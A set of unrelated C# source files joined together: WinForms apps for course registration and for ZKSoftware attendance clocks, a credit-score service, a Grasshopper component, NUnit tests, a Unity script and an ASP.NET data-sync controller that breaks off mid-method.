/// </summary>
[DisplayName("Приход по документам, сумм")]
public decimal InDocSumm
{
get;
set;
}
/// <summary>
/// Расход по документам
/// </summary>
[DisplayName("Расход по документам")]
public double OutDoc
{
get;
set;
}
/// <summary>
/// Расход по документам, сумм
/// </summary>
[DisplayName("Расход по документам, сумм")]
public decimal OutDocSumm
{
get;
set;
}
/// <summary>
/// Остаток на конец
/// </summary>
[DisplayName("Остаток на конец")]
public double EndRest
{
get;
set;
}
/// <summary>
/// Остаток на конец, сумм
/// </summary>
[DisplayName("Остаток на конец, сумм")]
public decimal EndRestSumm
{
get;
set;
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace register
{
public partial class getcoursefrm : Form
{
List<int> gottenCourses;
public string majorID ;
public getcoursefrm()
{
InitializeComponent();
gottenCourses = new List<int>();
}
private void Form2_Load(object sender, EventArgs e)
{
// TODO: This line of code loads data into the 'assignment3DataSet.coursetbl' table. You can move, or remove it, as needed.
BAL b = new BAL();
DataTable dt = b.showdata(majorID);
dataGridView1.DataSource = dt;
}
private void addbtn_Click(object sender, EventArgs e)
{
if (dataGridView1.SelectedRows.Count == 1)
{
String s = "";
Boolean canadd = true;
for (int i = 0 ; ((i < gottenCourses.Count) && (canadd == true)) ; i++) {
if (gottenCourses[i] == Convert.ToInt32(dataGridView1.SelectedRows[0].Cells[0].Value.ToString())) canadd = false;
}
if (canadd) {
s = "coursname :" + dataGridView1.SelectedRows[0].Cells[1].Value.ToString();
s += " | Teachers name : " + dataGridView1.SelectedRows[0].Cells[4].Value.ToString();
s += " | course time : " + dataGridView1.SelectedRows[0].Cells[2].Value.ToString();
listBox1.Items.Add(s);
gottenCourses.Add(Convert.ToInt32(dataGridView1.SelectedRows[0].Cells[0].Value.ToString()));
} else {
MessageBox.Show("خطا ! این درس قبلا توسط شما اخذ شده است");
}
}
else
{
MessageBox.Show("لطفا ابتدا یک درس را انتخاب کنید");
}
}
private void fillByToolStripButton_Click(object sender, EventArgs e)
{
try
{
this.coursetblTableAdapter.FillBy(this.assignment3DataSet.coursetbl);
}
catch (System.Exception ex)
{
System.Windows.Forms.MessageBox.Show(ex.Message);
}
}
private void getcoursefrm_FormClosed(object sender, FormClosedEventArgs e)
{
frmmain c = new frmmain();
c.Show();
}
private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e)
{
}
private void fillBy1ToolStripButton_Click(object sender, EventArgs e)
{
try
{
this.coursetblTableAdapter.FillBy1(this.assignment3DataSet.coursetbl);
}
catch (System.Exception ex)
{
System.Windows.Forms.MessageBox.Show(ex.Message);
}
}
private void fillBy1ToolStripButton1_Click(object sender, EventArgs e)
{
try
{
this.coursetblTableAdapter.FillBy1(this.assignment3DataSet.coursetbl);
}
catch (System.Exception ex)
{
System.Windows.Forms.MessageBox.Show(ex.Message);
}
}
private void dataGridView2_CellContentClick(object sender, DataGridViewCellEventArgs e)
{
}
private void dataGridView1_SelectionChanged(object sender, EventArgs e)
{
//dataGridView1.Rows[
}
private void button1_Click(object sender, EventArgs e)
{
if (listBox1.SelectedIndex > -1)
{
if (MessageBox.Show("آیا عملیات حذف درس مورد تایید شما می باشد ؟ ", "تایید عملیات", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == System.Windows.Forms.DialogResult.No) return ;
gottenCourses.RemoveAt(listBox1.SelectedIndex);
listBox1.Items.RemoveAt(listBox1.SelectedIndex);
}
else
{
MessageBox.Show("لطفا ابتدا یک درس را انتخاب کنید");
}
}
}
} |
using LoanAPound.Db;
using LoanAPound.Db.Model;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace LoanAPound.LoanEngine
{
public class CreditScoreService : ICreditScoreService
{
private ICreditScoreProviderRepository _creditScoreProviderRepository;
private ICreditScoreProviderClient _creditScoreProviderClient;
private ILoanApplicationCreditScoreCheckRepository _loanApplicationCreditScoreCheckRepository;
private ILoanApplicationRepository _loanApplicationRepository;
private IEnumerable<CreditScoreProvider> _creditScoreProviders; // Suitable for caching
public CreditScoreService(ICreditScoreProviderRepository creditScoreProviderRepository, ICreditScoreProviderClient creditScoreProviderClient,
ILoanApplicationCreditScoreCheckRepository loanApplicationCreditScoreCheckRepository, ILoanApplicationRepository loanApplicationRepository)
{
_creditScoreProviderRepository = creditScoreProviderRepository ?? throw new ArgumentException(nameof(creditScoreProviderRepository));
_creditScoreProviderClient = creditScoreProviderClient ?? throw new ArgumentException(nameof(creditScoreProviderClient));
_loanApplicationCreditScoreCheckRepository = loanApplicationCreditScoreCheckRepository ?? throw new ArgumentException(nameof(loanApplicationCreditScoreCheckRepository));
_loanApplicationRepository = loanApplicationRepository ?? throw new ArgumentException(nameof(loanApplicationRepository));
}
public async Task<double> GetCreditScoreAsync(LoanApplication loanApplication)
{
var creditScoreProvider = await ChooseCreditScoreProviderAsync(loanApplication);
var creditCheckDetail = new LoanApplicationCreditScoreCheck {
Application = loanApplication,
CreditScoreProvider = creditScoreProvider
};
creditCheckDetail.CreditScore = _creditScoreProviderClient.GetScore(creditScoreProvider, loanApplication.Applicant);
await _loanApplicationCreditScoreCheckRepository.CreateAsync(creditCheckDetail);
loanApplication.CreditScoreCheckResultId = creditCheckDetail.Id;
await _loanApplicationRepository.UpdateAsync(loanApplication);
return creditCheckDetail.CreditScore;
}
public async Task<CreditScoreProvider> ChooseCreditScoreProviderAsync(LoanApplication loanApplication)
{
if(_creditScoreProviders == null)
_creditScoreProviders = (await _creditScoreProviderRepository.ListAsync())
.Where(x => x.Status == CreditScoreProviderStatus.Active);
foreach(var provider in _creditScoreProviders)
{
// Choose provider based on criteria
if(provider.MaxLoanRate >= loanApplication.Amount) {
return provider;
}
}
throw new Exception("No credit score providers available");
}
}
}
|
using System;
using System.Collections.Generic;
using Grasshopper.Kernel;
using PterodactylEngine;
using Rhino.Geometry;
namespace Pterodactyl
{
public class FlowchartGH : GH_Component
{
public FlowchartGH()
: base("Flowchart", "Flowchart",
"Add flowchart",
"Pterodactyl", "Tools")
{
}
public override bool IsBakeCapable => false;
protected override void RegisterInputParams(GH_Component.GH_InputParamManager pManager)
{
pManager.AddBooleanParameter("Direction", "Direction",
"Set direction, True = from left to right, False = from top to bottom", GH_ParamAccess.item, true);
pManager.AddGenericParameter("Last Nodes", "Last Nodes", "Add last node / nodes of a flowchart as list", GH_ParamAccess.list);
}
protected override void RegisterOutputParams(GH_Component.GH_OutputParamManager pManager)
{
pManager.AddTextParameter("Report Part", "Report Part", "Created part of the report (Markdown text)", GH_ParamAccess.item);
}
protected override void SolveInstance(IGH_DataAccess DA)
{
bool direction = true;
List<FlowchartNode> lastNodes = new List<FlowchartNode>();
DA.GetData(0, ref direction);
DA.GetDataList(1, lastNodes);
Flowchart flowchart = new Flowchart(direction, lastNodes);
string reportPart = flowchart.Create();
DA.SetData(0, reportPart);
}
protected override System.Drawing.Bitmap Icon
{
get
{
return Properties.Resources.PterodactylFlowchart;
}
}
public override GH_Exposure Exposure
{
get { return GH_Exposure.secondary; }
}
public override Guid ComponentGuid
{
get { return new Guid("b40a0ebe-dfe8-4586-82a6-cc95395fc9ef"); }
}
}
} |
using System.Windows;
using CaveDwellers.Mathematics;
using NUnit.Framework;
namespace CaveDwellersTest.Given_a_Mathematics_Calculator
{
public class When_CalculateDistance_is_called
{
[Test]
public void Then_it_gets_10_for_2_points_that_have_the_same_x_but_differ_10_in_y()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(0, 10));
Assert.AreEqual(10, distance);
}
[Test]
public void Then_it_gets_20_for_2_points_that_have_the_same_x_but_differ_20_in_y()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(0, 20));
Assert.AreEqual(20, distance);
}
[Test]
public void Then_it_gets_10_for_2_points_that_have_the_same_y_but_differ_10_in_x()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(10, 0));
Assert.AreEqual(10, distance);
}
[Test]
public void Then_it_gets_20_for_2_points_that_have_the_same_y_but_differ_20_in_x()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(20, 0));
Assert.AreEqual(20, distance);
}
[Test]
public void Then_it_gets_5_for_2_points_that_have_x_differ_3_and_y_differ_4()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(3, 4));
Assert.AreEqual(5, distance);
}
[Test]
public void Then_it_gets_5_for_2_points_that_have_x_differ_4_and_y_differ_3()
{
var distance = Calculator.CalculateDistance(new Point(0, 0), new Point(4, 3));
Assert.AreEqual(5, distance);
}
}
} |
using System;
using System.Xml;
using System.Configuration;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
// API
using ZKSoftwareAPI;
// Protocolo TCP/IP
using System.Net;
using System.Net.Sockets;
// Threads
using System.Threading;
namespace interfazZKSoftware
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
this.FormBorderStyle = FormBorderStyle.FixedSingle; // No se puede cambiar tamaño
this.Text = "Interfaz Reloj"; // Titulo
this.Width = 345;
this.Height = 345;
btn_ConnectTCPIP.Hide();
btn_ObtAsis.Hide();
lb_IPServer.Hide();
lb_ServerPort.Hide();
txtBox_IPServer.Hide();
txtBox_ServerPort.Hide();
ruta.Hide();
filename.Hide();
lb_Rute.Hide();
lb_FileName.Hide();
initList2 = ReadInit();
tbox_IP.Text = initList2[0];
tbox_IP_2.Text = initList2[1];
tbox_IP_3.Text = initList2[2];
tbox_IP_4.Text = initList2[3];
tbox_IP_5.Text = initList2[4];
}
/* ----- Variables ----- */
private System.Windows.Forms.Timer timer1;
DateTime today = DateTime.UtcNow.Date;
char[] test = { };
string[] separators = { "|", " " };
string[] separators2 = { "/", " " };
string[] words = { };
string[] date = { };
string prob = "";
string value = "";
string normalDate = "";
string userID = "";
string dataBaseName = "DataBase.txt";
string initialDate = "";
string finalDate = "";
static ZKSoftware device = new ZKSoftware(Modelo.X628C); // Crear objeto del dispositivo
static ZKSoftware device_2 = new ZKSoftware(Modelo.X628C);
static ZKSoftware device_3 = new ZKSoftware(Modelo.X628C);
static ZKSoftware device_4 = new ZKSoftware(Modelo.X628C);
static ZKSoftware device_5 = new ZKSoftware(Modelo.X628C);
// Listas para leer configuracion inicial
List<string> initList = new List<string>();
List<string> initList2 = new List<string>();
// Lista para guardar dispositivos
List<Device> listDevices = new List<Device>();
// Listas para guardar inforamcion de los dispositivos
List<ZKSoftwareAPI.UsuarioInformacion> listUsers = new List<ZKSoftwareAPI.UsuarioInformacion>();
List<ZKSoftwareAPI.UsuarioMarcaje> listAttendanceRecord = new List<ZKSoftwareAPI.UsuarioMarcaje>();
List<ZKSoftwareAPI.UsuarioMarcaje> listOperationalRecord = new List<ZKSoftwareAPI.UsuarioMarcaje>();
/* ----- Funciones ----- */
public void InitTimer()
{
timer1 = new System.Windows.Forms.Timer();
timer1.Tick += new EventHandler(btn_ObtAsis_Click);
timer1.Interval = 300000; // in miliseconds, 0.001, 300000
timer1.Start();
}
public List<string> ReadInit() {
string IP1 = ConfigurationManager.AppSettings["IP1"];
string IP2 = ConfigurationManager.AppSettings["IP2"];
string IP3 = ConfigurationManager.AppSettings["IP3"];
string IP4 = ConfigurationManager.AppSettings["IP4"];
string IP5 = ConfigurationManager.AppSettings["IP5"];
string doBepp = ConfigurationManager.AppSettings["doBeep"];
string listMode = ConfigurationManager.AppSettings["listMode"];
initList.Add(IP1);
initList.Add(IP2);
initList.Add(IP3);
initList.Add(IP4);
initList.Add(IP5);
initList.Add(doBepp);
initList.Add(listMode);
return initList;
}
public void WriteInit(List<Device> Devices) {
Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
XmlDocument doc = new XmlDocument();
doc.Load(AppDomain.CurrentDomain.SetupInformation.ConfigurationFile);
foreach (XmlElement element in doc.DocumentElement) {
if (element.Name.Equals("appSettings")) {
foreach (XmlNode node in element.ChildNodes) {
if (node.Attributes[0].Value.Equals("IP1")) {
node.Attributes[1].Value = Devices[0].originalIP;
} else if (node.Attributes[0].Value.Equals("IP2")) {
node.Attributes[1].Value = Devices[1].originalIP;
} else if (node.Attributes[0].Value.Equals("IP3")) {
node.Attributes[1].Value = Devices[2].originalIP;
} else if (node.Attributes[0].Value.Equals("IP4")) {
node.Attributes[1].Value = Devices[3].originalIP;
} else if (node.Attributes[0].Value.Equals("IP5")) {
node.Attributes[1].Value = Devices[4].originalIP;
}
}
}
}
doc.Save(AppDomain.CurrentDomain.SetupInformation.ConfigurationFile);
ConfigurationManager.RefreshSection("appSettings");
}
private void Connect(){ // Conectar dispositivo
Device device1 = new Device(device, tbox_IP.Text, 1, false);
Device device2 = new Device(device_2, tbox_IP_2.Text, 2, false);
Device device3 = new Device(device_3, tbox_IP_3.Text, 3, false);
Device device4 = new Device(device_4, tbox_IP_4.Text, 4, false);
Device device5 = new Device(device_5, tbox_IP_5.Text, 5, false);
listDevices.Add(device1);
listDevices.Add(device2);
listDevices.Add(device3);
listDevices.Add(device4);
listDevices.Add(device5);
foreach (Device devices in listDevices)
{
if (devices.originalIP.Length > 0)
{
if (devices.originalDevice.DispositivoConectar(devices.originalIP, 0, cbox_Beep.Checked))
{
if (cbox_Beep.Checked)
{ // Hacer ruido
btn_Connect.Text = "Desconectar";
}
else
{
MessageBox.Show("Dispositivo Conectado", "Interfaz");
btn_Connect.Text = "Desconectar";
}
devices.originalIsConnected = true;
}
else
{
// Si no se conectó
MessageBox.Show(devices.originalDevice.ERROR, "Error");
}
}
else
{
devices.originalIsConnected = false;
}
}
foreach (Device devices in listDevices)
{
if (devices.originalIsConnected == true)
{
// Redimencionar ventana
this.Width = 555;
this.Height = 345;
cbox_Beep.Hide(); // Ocultar checkBox
// Deshabilitar el textBox de la IP
tbox_IP.Enabled = false;
tbox_IP_2.Enabled = false;
tbox_IP_3.Enabled = false;
tbox_IP_4.Enabled = false;
tbox_IP_5.Enabled = false;
dateTimePicker_InitialDate.Enabled = false;
dateTimePicker_FinalDate.Enabled = false;
btn_ConnectTCPIP.Show(); // Mostrar boton Conectar al Server
// btn_ObtAsis.Show(); // Mostrar boton Actualizar Base de Datos
lb_IPServer.Show();
lb_ServerPort.Show();
txtBox_IPServer.Show();
txtBox_ServerPort.Show();
ruta.Show();
filename.Show();
lb_Rute.Show();
lb_FileName.Show();
}
}
InitTimer();
WriteInit(listDevices);
}
private void Desconnect(){ // Desconectar dispositivo
foreach (Device devices in listDevices)
{
devices.originalDevice.DispositivoDesconectar();
devices.originalIsConnected = false;
devices.originalIP = "";
devices.originalID = 0;
}
foreach (Device devices in listDevices)
{
if (devices.originalIsConnected == false)
{
// Redimencionar ventana
this.Width = 345;
this.Height = 345;
btn_Connect.Text = "Conectar"; // Cambiar nombre del boton
// Habilitar el textBox de la IP
tbox_IP.Enabled = true;
tbox_IP_2.Enabled = true;
tbox_IP_3.Enabled = true;
tbox_IP_4.Enabled = true;
tbox_IP_5.Enabled = true;
dateTimePicker_InitialDate.Enabled = true;
dateTimePicker_FinalDate.Enabled = true;
cbox_Beep.Show(); // Mostrar checkBox
btn_ConnectTCPIP.Hide(); // Esconder boton Conectar al Server
btn_ObtAsis.Hide(); // Esconder boton Actualizar Base de Datos
lb_IPServer.Hide();
lb_ServerPort.Hide();
txtBox_IPServer.Hide();
txtBox_ServerPort.Hide();
ruta.Hide();
filename.Hide();
lb_Rute.Hide();
lb_FileName.Hide();
}
}
timer1.Stop();
}
private void GetUsers(){ // Obtener empleados
foreach (Device devices in listDevices){
if (devices.originalIsConnected == true)
{
if (devices.originalDevice.UsuarioBuscarTodos(true))
{ // Todos los empleados
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\Users\" + Environment.UserName + @"\Desktop\DataBase.txt", devices.originalDevice == device ? false : true))
{
try
{
foreach (ZKSoftwareAPI.UsuarioInformacion user in devices.originalDevice.ListaUsuarios)
{
listUsers.Add(user);
}
if (devices.originalDevice == device)
{
file.WriteLine("Empleados: \n");
}
foreach (ZKSoftwareAPI.UsuarioInformacion user in listUsers)
{
file.WriteLine("D" + devices.originalID.ToString() + ": " + user);
}
listUsers.Clear();
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString(), "Error");
}
}
}
}
}
}
private void GetAttendanceRecord(string initialDate, string finalDate){ // Obtener Registro de Asistencias
foreach (Device devices in listDevices){
if (devices.originalIsConnected == true)
{
// Dividir las checadas de los dispositivos
if (devices.originalID == 1 || devices.originalID == 2) {
dataBaseName = "DataBase_D1y2.txt";
} else if (devices.originalID == 3) {
dataBaseName = "DataBase_D3.txt";
} else {
dataBaseName = "DataBase_Rest.txt";
}
finalDate = today.ToShortDateString();
initialDate = dateTimePicker_InitialDate.Value.Date.ToShortDateString();
// finalDate = dateTimePicker_FinalDate.Value.Date.ToShortDateString();
devices.originalDevice.DispositivoObtenerRegistrosAsistencias();
// Agregar el registro de asistencias a la lista
foreach (ZKSoftwareAPI.UsuarioMarcaje attendanceRecord in devices.originalDevice.ListaMarcajes)
{
value = attendanceRecord.ToString();
words = value.Split(separators, StringSplitOptions.RemoveEmptyEntries);
normalDate = words[1];
// if (finalDate == normalDate) {
listAttendanceRecord.Add(attendanceRecord);
// }
}
// listAttendanceRecord.Reverse();
// devices.originalDevice == device ? false : true
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\Users\" + Environment.UserName + @"\Desktop\" + dataBaseName,
devices.originalDevice == device || devices.originalDevice == device_3 || devices.originalDevice == device_4 ? false : true/*true*/))
{
try
{
foreach (ZKSoftwareAPI.UsuarioMarcaje attendanceRecord in listAttendanceRecord)
{
prob = "";
value = attendanceRecord.ToString();
words = value.Split(separators, StringSplitOptions.RemoveEmptyEntries);
normalDate = words[1];
userID = words[0];
test = userID.ToCharArray();
date = normalDate.Split(separators2, StringSplitOptions.RemoveEmptyEntries);
for (int i = 1; i < test.Length; i++) {
prob = prob + test[i];
}
userID = prob;
file.Write(userID + "=" + date[1] + "/" + date[0] + "/" + date[2] + " " + words[2] + "\r\n");
}
listAttendanceRecord.Clear();
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString(), "Error");
}
}
}
}
}
private void GetOperationalRecord(){ // Obtener Registro de Operaciones
foreach (Device devices in listDevices){
if (devices.originalIsConnected == true)
{
devices.originalDevice.DispositivoObtenerRegistrosOperativos();
// Agregar los registros operativos a la lista
foreach (ZKSoftwareAPI.UsuarioMarcaje operationalRecord in devices.originalDevice.ListaMarcajes)
{
listOperationalRecord.Add(operationalRecord);
}
listOperationalRecord.Reverse();
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\Users\" + Environment.UserName + @"\Desktop\DataBase.txt", true))
{
try
{
if (devices.originalDevice == device)
{
file.WriteLine("\nRegistros Operativos: \n");
}
foreach (ZKSoftwareAPI.UsuarioMarcaje operationalRecord in listOperationalRecord)
{
file.WriteLine("D" + devices.originalID.ToString() + ": " + operationalRecord);
}
listOperationalRecord.Clear();
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString(), "Error");
}
}
}
}
}
private void conecctionTCPIP() {
string serverIP = txtBox_IPServer.Text;
int serverPort = int.Parse(txtBox_ServerPort.Text);
txtBox_IPServer.Enabled = false;
txtBox_ServerPort.Enabled = false;
ruta.Enabled = false;
filename.Enabled = false;
try {
/* --- Establecer Conexion --- */
IPAddress direction = IPAddress.Parse(serverIP);
IPEndPoint endPointServer = new IPEndPoint(direction, serverPort); // Conexion
EndPoint senderRemote = (EndPoint)endPointServer;
TcpClient newClient = new TcpClient(serverIP, serverPort);
Socket tcpSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // Socket
tcpSocket.Connect(endPointServer);
byte[] msg = new Byte[256];
btn_ConnectTCPIP.Enabled = false;
/* --- Enviar Cabecera y Archivo --- */
const int numFunctProt = 15;
string fileName = filename.Text;
string filePath = @"" + ruta.Text;
/*
string fileName = "DataBase.txt";
string filePath = @"C:\Users\" + Environment.UserName + @"\Desktop\";
*/
FileInfo file = new FileInfo(filePath + fileName);
long longFile = file.Length;
int intFile = unchecked((int)longFile);
byte[] bytes_numFunctProt = BitConverter.GetBytes(numFunctProt); // Bytes de la funcion del protocolo
byte[] bytes_longFile = BitConverter.GetBytes(intFile);
byte[] bytes_cabecera = new byte[bytes_numFunctProt.Length + bytes_longFile.Length];
byte[] bytes_fileName = Encoding.ASCII.GetBytes(fileName); // Bytes del nombre del archivo
byte[] bytes_fileData = File.ReadAllBytes(filePath + fileName); // Bytes de la informacion del archivo
byte[] bytes_clientData = new byte[4 + bytes_fileName.Length + bytes_fileData.Length]; // Bytes de la informacion del archivo
byte[] bytes_fileNameLen = BitConverter.GetBytes(bytes_fileName.Length); // Bytes del tamaño del nombre del archivo
bytes_fileNameLen.CopyTo(bytes_clientData, 0);
bytes_fileName.CopyTo(bytes_clientData, 4);
bytes_fileData.CopyTo(bytes_clientData, 4 + bytes_fileName.Length);
tcpSocket.Send(bytes_cabecera);
tcpSocket.Send(bytes_clientData);
// System.Threading.Thread.Sleep(3000);
String test = tcpSocket.ReceiveFrom(msg, 0, msg.Length, SocketFlags.None, ref senderRemote).ToString();
MessageBox.Show("Test: " + test, "Cliente");
/* --- Cerrar Conexion --- */
tcpSocket.Shutdown(SocketShutdown.Send);
tcpSocket.Close();
}
catch (SocketException sExp)
{
MessageBox.Show(sExp.ToString(), "Error");
}
catch (Exception ex)
{
MessageBox.Show("Error al enviar el archivo: " + ex.ToString(), "Error");
}
btn_ConnectTCPIP.Enabled = true;
txtBox_IPServer.Enabled = true;
txtBox_ServerPort.Enabled = true;
ruta.Enabled = true;
filename.Enabled = true;
}
/* ----- Eventos de Botón ----- */
// Confirmacion para salir
private void Form1_FormClosing(object sender, FormClosingEventArgs e){
if (btn_Connect.Text == "Desconectar") {
if (MessageBox.Show("¿Seguro que quieres salir?", "Confirmación de Salida", MessageBoxButtons.YesNo) == DialogResult.Yes){
e.Cancel = false;
}else{
e.Cancel = true;
}
}
}
// Boton Conectar/Desconectar
private void btn_Connect_Click(object sender, EventArgs e){
if (btn_Connect.Text == "Desconectar")
{ // Desconectar dispositivo
Desconnect();
}
else
{ // Conectar dispositivo
Connect();
GetAttendanceRecord(initialDate, finalDate);
}
// SQLConnection();
}
// Actualizar Base de Datos
private void btn_ObtAsis_Click(object sender, EventArgs e){
//GetUsers();
GetAttendanceRecord(initialDate, finalDate);
//GetOperationalRecord();
}
// Enviar Base de Datos al Servidor
private void btn_ConnectTCPIP_Click(object sender, EventArgs e){
conecctionTCPIP();
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace PiwoBack.Services.Interfaces
{
public interface IEmailService
{
void SendMessage(string email, string subject);
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel.DataAnnotations;
namespace VEE.Models.BasedeDatos
{
public class DetallePlanilla
{
[Key]
public int Id { get; set; }
public Planilla Planilla { get; set; }
public CargoPlanilla CargoPlanilla { get; set; }
public Alumno Alumno { get; set; }
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Key : MonoBehaviour
{
public string key;
public delegate void CallMe(string key);
public CallMe callback;
public delegate void TimerOut(string key);
public TimerOut timeOut;
float maxTime, currTime;
bool timerOn = true;
private void Start()
{
maxTime = Random.Range(8, 12);
}
private void Update()
{
if(timerOn)
currTime += Time.deltaTime;
if(currTime >= maxTime)
{
if (callback != null)
timeOut.Invoke(key);
Destroy(gameObject);
}
}
private void OnTriggerEnter2D(Collider2D other)
{
if(other.tag == "Player")
{
if(callback != null)
callback.Invoke(key);
other.GetComponent<PlayerController>().AddHealth(key);
Destroy(gameObject);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Diagnostics;
using Microsoft.AspNetCore.Mvc;
using service.Models;
using Microsoft.AspNetCore.Hosting;
using Newtonsoft.Json;
using Microsoft.AspNetCore.Http;
using System.Threading;
using Newtonsoft.Json.Linq;
using System.IO;
using System.Threading.Tasks;
namespace service.Controllers
{
public class MapsealController : Controller
{
// GET: /<controller>/
public async Task<IActionResult> Index(string mode, string param1, string param2, string param3, string param4, string param5, string param6)
{
Logmodel log = new Logmodel();
Mysqlwealth wealth = new Mysqlwealth();
var mapdata_return = new Dictionary<object, object>();
var rs_20200417 = new List<object>();
var patten_map = "";
var mapdata = new Dictionary<object, object>();
mapdata.Add("param1", param1);
mapdata.Add("param2", param2);
mapdata.Add("param3", param3);
mapdata.Add("param4", param4);
mapdata.Add("param5", param5);
mapdata.Add("param6", param6);
try
{
patten_map = module_cfg(mode, "patten_map");
_ = log.swan_core_log("Wealth_sync", " Seal_data Mapdata Mapzila ===============================================================> ");
_ = log.swan_core_log("Wealth_sync", " map petten: " + patten_map.ToString());
_ = log.swan_core_log("Wealth_sync", " Param : " + JsonConvert.SerializeObject(mapdata));
_ = log.swan_core_log("Wealth_sync", " Param New map : " + JsonConvert.SerializeObject(await mapping_interface(mode, mapdata)));
var wealth_custinfo = await wealthmodel(patten_map);
var wealth_sealdata = await Sync_seal_customer(await mapping_interface(mode, mapdata));
// _ = log.swan_core_log("Wealth_sync", " Seal_data Mapdata Mapzila===> : " + wealth_custinfo.ToString());
//_ = log.swan_core_log("Wealth_sync", " Seal_data Mapdata api interface ===> : " + wealth_sealdata.ToString());
var w_md20200422 = JObject.Parse(wealth_custinfo);
var w_mp20200434 = JArray.Parse(wealth_sealdata);
for (int i = 0; i < w_mp20200434.Count; i++)
{
// _ = log.swan_core_log("Wealth_Customer_Central", " Ready to Parse : " + temp_data[i].ToString());
var temp_rs_20200417 = new Dictionary<object, object>();
var tms_20200417 = JObject.Parse(w_mp20200434[i].ToString());
// _ = log.swan_core_log("Wealth_sync", " Seal_data Raw temp : " + JsonConvert.SerializeObject(tms_20200417));
foreach (var item in tms_20200417)
{
_ = log.swan_core_log("Wealth_sync", " Seal_data Map Value : " + item.Key.ToString() + "|==>" +w_md20200422[item.Key.ToString()].ToString()+" : "+ item.Value.ToString());
temp_rs_20200417.Add(w_md20200422[item.Key.ToString()].ToString(), item.Value.ToString());
}
var ins_data = wealth.data_ins(patten_map, JsonConvert.SerializeObject(temp_rs_20200417));
_ = log.swan_core_log("Wealth_sync", " Inse to api : " + JsonConvert.SerializeObject(ins_data));
rs_20200417.Add(temp_rs_20200417);
}
_ = log.swan_core_log("Wealth_sync", " Seal_data Mapdata Mapzila ===============================================================> ");
}
catch (Exception e)
{
_ = log.swan_core_log("Wealth_sync", " Error Index : " + e.ToString());
}
return Json(rs_20200417);
}
private static async Task<Dictionary<object, object>> mapping_interface(string mode, Dictionary<object, object> mappperdata)
{
Logmodel log = new Logmodel();
var response_array = new Dictionary<object, object>();
var config_map_interface = module_cfg(mode, "api");
var mp1128 = JsonConvert.SerializeObject(mappperdata);
var mp1129 = JObject.Parse(mp1128);
var return_data = config_map_interface;
foreach (var item in mp1129)
{
return_data = replace_value(return_data, "{{" + item.Key.ToString() + "}}", item.Value.ToString());
}
var mp1131 = JObject.Parse(return_data);
foreach (var item in mp1131)
{
response_array.Add(item.Key.ToString(), item.Value.ToString());
}
//_ = log.swan_core_log("mapinterface_seal", " New Convert Value " + JsonConvert.SerializeObject(response_array));
return response_array;
}
private static string replace_value(string txt, string patten, string replace)
{
return txt.Replace(patten, replace);
}
public static string module_cfg(string variable1, string variable2)
{
string path = Directory.GetCurrentDirectory();
string configtext = System.IO.File.ReadAllText(path + "/Data/Wealth_Seal_cfg.json");
JObject config_parse = JObject.Parse(configtext);
return config_parse[variable1][variable2].ToString();
}
public async Task<string> Sync_seal_customer(Dictionary<object, object> sealvariable)
{
Logmodel log = new Logmodel();
var rs_20200417 = new List<object>();
try
{
var request_data = new Dictionary<string, string>();
var se4533334 = await Wealth_Customer_Central.interface_andaman_seal(JsonConvert.SerializeObject(sealvariable));
// _ = log.swan_core_log("Wealth_sync", "api data : " + JsonConvert.SerializeObject(se4533334));
var temp_4545 = JsonConvert.SerializeObject(se4533334);
var temp_4646 = JObject.Parse(temp_4545);
if (temp_4646["status"].ToString() != "404")
{
JArray temp_data = JArray.Parse(temp_4646["status"].ToString());
for (int i = 0; i < temp_data.Count; i++)
{
// _ = log.swan_core_log("Wealth_Customer_Central", " Ready to Parse : " + temp_data[i].ToString());
var temp_rs_20200417 = new Dictionary<object, object>();
var tms_20200417 = JObject.Parse(temp_data[i].ToString());
foreach (var item in tms_20200417)
{
temp_rs_20200417.Add(item.Key.ToString(), item.Value.ToString());
}
rs_20200417.Add(temp_rs_20200417);
}
}
else
{
// _ = log.swan_core_log("Wealth_sync", "Sample parser status: " + temp_4646["status"].ToString());
}
}
catch (Exception e)
{
_ = log.swan_core_log("Wealth_sync", " Error Sending data: " + e.ToString());
}
// _ = log.swan_core_log("Wealth_sync", " Reutrn value " + JsonConvert.SerializeObject(rs_20200417));
//await Mail_helper.mail_monitor_wealth_with_message("Import Success", JsonConvert.SerializeObject(rs_20200417));
return JsonConvert.SerializeObject(rs_20200417);
}
public async Task<string> wealthmodel(string apicode)
{
Logmodel log = new Logmodel();
Encryption_model encode = new Encryption_model();
Mysqlswan swan = new Mysqlswan();
Mysqlhawk hawk = new Mysqlhawk();
Mysqlwealth wealth = new Mysqlwealth();
var mapdata_return = new Dictionary<object, object>();
_ = log.swan_core_log("Wealth_sync", "tbl : " + apicode.ToString());
try
{
var command = "SELECT interface_key AS apikey , interface_map AS apivalue from mapzila_wealth WHERE apicode = @1 AND `status` = 'Y' ORDER BY sorting ASC";
Dictionary<object, object> param = new Dictionary<object, object>();
param.Add("1", apicode);
var data_8585 = await swan.data_with_col(command, param);
